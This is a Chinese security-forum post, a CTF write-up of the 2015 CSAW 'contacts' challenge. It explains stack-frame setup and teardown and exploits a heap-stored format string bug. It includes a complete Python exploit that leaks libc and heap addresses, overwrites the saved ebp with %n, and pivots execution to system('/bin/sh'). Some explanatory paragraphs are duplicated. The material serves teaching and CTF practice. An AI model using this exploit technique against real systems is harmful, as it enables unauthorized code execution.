首页
社区
课程
招聘
通过堆上的格式化字符串利用剖析函数栈帧的建立与还原
发表于: 2018-10-24 17:25 9365

通过堆上的格式化字符串利用剖析函数栈帧的建立与还原

2018-10-24 17:25
9365

感觉有好久没有写文章了,这次小菜鸡分析一个布置在堆上的格式化字符串漏洞。通过这道题目给大家详细的分析一下栈帧的建立以及还原。


题目:2015-CSAW-contacts/contacts

首先这道题目开启的保护如下:
/Desktop/CTF/summer/fmtstr/2015-CSAW-contacts/contacts'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

/Desktop/CTF/summer/fmtstr/2015-CSAW-contacts/contacts'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序的功能如下:


可以实现对联系人的create、remove、edit、print等功能。

程序的漏洞是在print环节中的格式化字符串漏洞,以及此字符串contact->description是存储在heap上面的。

利用分析:
这道题目允许我们覆盖got表,但是没有合适的got让我们可以覆盖。(对于malloc_got或者malloc_hook理论上是可以的,并没有实际测试,这道题目只要是为了分析栈帧的开辟与还原,因此我们不采用上面的方式。)
通过分析也没有栈里面也没有直接存储返回地址的地方,因此也不可以修改返回地址。

我们的利用方式:通过修改ebp的值,将程序的执行流程布置到我们的堆上,使其执行system("/bin/sh")。

首先获取libc的基址:
格式化字符串的调试分析,下断点到存在漏洞的printf函数前,进行调试分析,如下:

目前我们跟踪到了漏洞处,并且观察他的ebp的值。
查看当前stack的信息:

可以看到,ebp存储的内容相对于fmstr的offset是6,存储fmstr的heap相对于fmstr的offset=11,__libc_main_start_ret相对于fmstr的offset=31。

我们可以通过格式化字符串泄露__libc_main_start_ret的值来获取libc_base的地址,并且还能够计算出system_addr,以及bin_sh_addr的地址。
        __libc_start_main_ret_offset = 0x018637
	system_offset = 0x03ada0
	bin_sh_offset = 0x15ba0b
	ru(">>> ")	
	create("1","aaaa",0x20,"mmm%31$xnnn")   #构造fmstr   输出偏移为31的信息
	dbg()
	ru(">>> ")
	show()   #触发漏洞,泄露地址信息,获取libc_base
	ru("mmm")
	__libc_start_main_ret_addr = ru("nnn")
	__libc_start_main_ret_addr = int(__libc_start_main_ret_addr,16)
	libc_base = __libc_start_main_ret_addr - __libc_start_main_ret_offset
	print "libc_base="+hex(libc_base)	

	system_addr = libc_base + system_offset
	bin_sh_addr = libc_base + bin_sh_offset
	print "system_addr = "+hex(system_addr)

目前我们得到了system,bin_sh_addr的地址信息,下一步是将程序的执行流程控制到我们的heap中。

Pay attention!  下面是这个文章要讲解的重点。
虽然栈溢出是pwn最基本的东西,但我觉得并不一定每个人都能深刻理解这些内容。

为了更好的讲解这个例子,我写了一个非常简单的栈溢出的demo:

编译的时候关闭了PIE 以及canary保护。
我们通过ida可以知道字符串距离rbp的距离是0x14。 我们输入字符串覆盖缓冲区:"a"+0x14+ebp+ret

第一次操作的时候不溢出,观察一下程序的栈帧建立过程:
首先看一下main函数中的ebp 信息:
可以看到main函数没有调用其他函数的时候,ebp里面存储的是0xcf38,指向main函数栈帧的栈底

当mian函数调用vuln函数时,ebp里面存储的信息变为了0xcf28,指向vul函数栈帧的栈底,同时0xcf28指针指向的内容是上一层函数即main函数栈帧的栈底0xcf38。

当vuln调用gets函数的时候,同理,如图。

那么我们知道,当函数调用结束的时候会返回上一层函数的栈帧,由上图可以看出,当gets函数返回vuln函数的时候,ebp的值确实恢复了。那么这个过程是如何进行的呢,我们分析从vuln返回main函数这一个过程。

当vuln函数执行到末尾的leave动作前,ebp的值没有被改变。
leave的动作相当于
mov esp , ebp   将ebp的值赋给esp
pop ebp    弹栈

当执行结束leave指令之后,首先将esp指向ebp,即指向vuln栈帧的底部,然后弹栈并赋给ebp。此时弹栈弹出的是vuln栈底底部的栈,我们知道栈帧底部里面存储信息是上一层函数main函数栈帧的底部位置,因此通过弹栈操作将ebpc成功的指向了main函数栈帧的底部。而弹栈之后,esp的位置向前增长了4个字节,而我们又知道,根据函数调用约定,调用函数时其ebp上面存放的是函数的返回地址,因此pop操作之后,esp指向了存放函数返回地址的位置。

而ret指令则是将esp存放的指针指向的指令赋给eip。从而完成了函数执行流程。

那么有人会问,为什么栈溢出的时候单纯的覆盖返回地址就可以呢?而不用去管ebp会被覆盖成什么?

通过上面的操作我们可以看到,即使我们把栈底的信息改了,也不会妨碍esp的信息是什么,只要esp的信息正确,那么ret操作的时候就能够将esp指向的指令地址赋给eip从而成功的控制程序流程。而且如果我们控制其进入某函数的起始位置,那么函数开头的push ebp,mov ebp ,esp. 也能修正ebp的信息。
测试一下,我们栈溢出并且使其执行success函数。 即输入"a"*0x14 + "b"*4 + p32(0x0804843b)     0x0804843b是success函数的地址,而将ebp覆盖为“bbbb”

可以看到栈帧底部的信息被覆盖成"bbbb"

leave操作执行之后,ebp的值是错误的,而esp的值指向success的起始地址。

ret指令之后,eip指向success起始地址

在success函数开始,也会对ebp指令重新设置,因此执行我们的目标函数没有问题。

对函数栈帧的建立和还原还是不了解的可以参考函数的调用过程,栈桢的创建和销毁

上面已经详细的分析了函数执行时对栈帧的开辟以及还原的详细过程,下面我们的目的是修改ebp,使其按照我们的heap上的流程运行。

然后我们新创建一个节点,其fmstr为     payload1 = "wwww"+"%11$x"+"qqq"+p32(system_addr)+"bbbb"+p32(bin_sh_addr)
%11$x是为了泄露此heap的地址信息(heap_addr相对于fmstrd的offset=11),并且在后面放入我们希望执行的程序流程system("/bin/sh")
将system放在后面是为了方位system地址有有\00造成截断。
        ru(">>> ")
	payload1 = "wwww"+"%11$x"+"qqq"+p32(system_addr)+"bbbb"+p32(bin_sh_addr)
	create("2","aaaa",0x80,payload1)

	ru(">>> ")
	show()
	ru("wwww")
	heap_addr = int(ru("qqq"),16)
	heap_aim = heap_addr + 12
	print "heap_aim="+hex(heap_aim)


system_addr的位置相对于fmstr的起始位置偏移是12  ,所以 heap_aim = heap_addr + 12

后面通过格式化想ebp写入heap_aim-0x4 , 因为我们希望esp指向存储system_addr的位置,而pop ebp会使esp的位置+4。所以写入heap_aim-4。

        payload2 = "%"+str(heap_aim-4)+"d"+"%6$n"
	ru(">>> ")
	create("3","aaaa",0x50,payload2)
	
	ru(">>> ")
	show()

注意上面修改的ebp是main函数返回的ebp,main函数退出的时候会触发systen("/bin/sh")函数。
主要通过这道题目替大家理一理函数栈帧创建与还原的过程,有一个清晰认识。

最后附上exp():  我是利用pwnContext库写的,写起来比pwntools便捷些。
#!usr/bin/env python
# -*- coding:utf-8 -*-
from libformatstr import *
from PwnContext import *
if __name__ == '__main__':

	#-----function for quick script-----#
	s       = lambda data               :ctx.send(str(data))        #in case that data is a int
	sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
	st      = lambda delim,data         :ctx.sendthen(str(delim), str(data)) 
	sl      = lambda data               :ctx.sendline(str(data)) 
	sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
	r       = lambda numb=4096          :ctx.recv(numb)
	ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
	irt     = lambda                    :ctx.interactive()
    
	rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
	leak    = lambda address, count=0   :ctx.leak(address, count)
	def dbg(gdbscript='', *args, **kwargs):
		gdbscript = sym_ctx.gdbscript + gdbscript
		return ctx.debug(gdbscript, *args, **kwargs)
    
	uu32    = lambda data   :u32(data.ljust(4, '\0'))
	uu64    = lambda data   :u64(data.ljust(8, '\0'))

	ctx.binary = './contacts'
	debugg = 1
	logg = 1
	
	if debugg:
		rs()
	else:
		rs(remote_addr = ("x,x,x,x",1234))


	if logg:
		context(log_level = "debug",os = "linux")
		context.terminal = ["gnome-terminal","-x","sh","-c"]
    
	sym_ctx.symbols = {'testsym':0x08048c22,}
	
	 
	def create(name,phone,size,des):
		sl("1")
		ru("Name: ")
		sl(name)
		ru("No: ")
		sl(phone)
		ru("Length of description: ")
		sl(size)
		ru("Enter description:\n")
		sl(des)

	def show():
		sl("4")


	__libc_start_main_ret_offset = 0x018637
	system_offset = 0x03ada0
	bin_sh_offset = 0x15ba0b
	ru(">>> ")	
	create("1","aaaa",0x20,"mmm%31$xnnn")
	dbg()
	ru(">>> ")
	show()
	ru("mmm")
	__libc_start_main_ret_addr = ru("nnn")
	__libc_start_main_ret_addr = int(__libc_start_main_ret_addr,16)
	libc_base = __libc_start_main_ret_addr - __libc_start_main_ret_offset
	print "libc_base="+hex(libc_base)	

	system_addr = libc_base + system_offset
	bin_sh_addr = libc_base + bin_sh_offset
	print "system_addr = "+hex(system_addr)
	#dbg()
	ru(">>> ")
	payload1 = "wwww"+"%11$x"+"qqq"+p32(system_addr)+"bbbb"+p32(bin_sh_addr)
	create("2","aaaa",0x80,payload1)

	ru(">>> ")
	show()
	ru("wwww")
	heap_addr = int(ru("qqq"),16)
	heap_aim = heap_addr + 12
	print "heap_aim="+hex(heap_aim)

	#part1 = (heap_aim - 4) / 2
	#part2 = heap_aim - 4 - part1
	#payload2 = '%' + str(part1) + 'x%' + str(part2) + 'x%6$n'
	payload2 = "%"+str(heap_aim-4)+"d"+"%6$n"     #pop rbp会使esp的位置+4,所以heap_aim-4
	ru(">>> ")
	create("3","aaaa",0x50,payload2)
	
	ru(">>> ")
	show()
    
	dbg()
	ru(">>> ")
	sl("5")
	#dbg()	
	
	irt()



        __libc_start_main_ret_offset = 0x018637
	system_offset = 0x03ada0
	bin_sh_offset = 0x15ba0b
	ru(">>> ")	
	create("1","aaaa",0x20,"mmm%31$xnnn")   #构造fmstr   输出偏移为31的信息
	dbg()
	ru(">>> ")
	show()   #触发漏洞,泄露地址信息,获取libc_base
	ru("mmm")
	__libc_start_main_ret_addr = ru("nnn")
	__libc_start_main_ret_addr = int(__libc_start_main_ret_addr,16)
	libc_base = __libc_start_main_ret_addr - __libc_start_main_ret_offset
	print "libc_base="+hex(libc_base)	

	system_addr = libc_base + system_offset
	bin_sh_addr = libc_base + bin_sh_offset
	print "system_addr = "+hex(system_addr)

目前我们得到了system,bin_sh_addr的地址信息,下一步是将程序的执行流程控制到我们的heap中。

Pay attention!  下面是这个文章要讲解的重点。
虽然栈溢出是pwn最基本的东西,但我觉得并不一定每个人都能深刻理解这些内容。

为了更好的讲解这个例子,我写了一个非常简单的栈溢出的demo:

编译的时候关闭了PIE 以及canary保护。
我们通过ida可以知道字符串距离rbp的距离是0x14。 我们输入字符串覆盖缓冲区:"a"+0x14+ebp+ret

第一次操作的时候不溢出,观察一下程序的栈帧建立过程:
首先看一下main函数中的ebp 信息:
可以看到main函数没有调用其他函数的时候,ebp里面存储的是0xcf38,指向main函数栈帧的栈底

当mian函数调用vuln函数时,ebp里面存储的信息变为了0xcf28,指向vul函数栈帧的栈底,同时0xcf28指针指向的内容是上一层函数即main函数栈帧的栈底0xcf38。

当vuln调用gets函数的时候,同理,如图。

那么我们知道,当函数调用结束的时候会返回上一层函数的栈帧,由上图可以看出,当gets函数返回vuln函数的时候,ebp的值确实恢复了。那么这个过程是如何进行的呢,我们分析从vuln返回main函数这一个过程。

当vuln函数执行到末尾的leave动作前,ebp的值没有被改变。
leave的动作相当于
mov esp , ebp   将ebp的值赋给esp
pop ebp    弹栈

当执行结束leave指令之后,首先将esp指向ebp,即指向vuln栈帧的底部,然后弹栈并赋给ebp。此时弹栈弹出的是vuln栈底底部的栈,我们知道栈帧底部里面存储信息是上一层函数main函数栈帧的底部位置,因此通过弹栈操作将ebpc成功的指向了main函数栈帧的底部。而弹栈之后,esp的位置向前增长了4个字节,而我们又知道,根据函数调用约定,调用函数时其ebp上面存放的是函数的返回地址,因此pop操作之后,esp指向了存放函数返回地址的位置。

而ret指令则是将esp存放的指针指向的指令赋给eip。从而完成了函数执行流程。

那么有人会问,为什么栈溢出的时候单纯的覆盖返回地址就可以呢?而不用去管ebp会被覆盖成什么?

可以看到main函数没有调用其他函数的时候,ebp里面存储的是0xcf38,指向main函数栈帧的栈底

当mian函数调用vuln函数时,ebp里面存储的信息变为了0xcf28,指向vul函数栈帧的栈底,同时0xcf28指针指向的内容是上一层函数即main函数栈帧的栈底0xcf38。

当vuln调用gets函数的时候,同理,如图。

那么我们知道,当函数调用结束的时候会返回上一层函数的栈帧,由上图可以看出,当gets函数返回vuln函数的时候,ebp的值确实恢复了。那么这个过程是如何进行的呢,我们分析从vuln返回main函数这一个过程。

当vuln函数执行到末尾的leave动作前,ebp的值没有被改变。

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//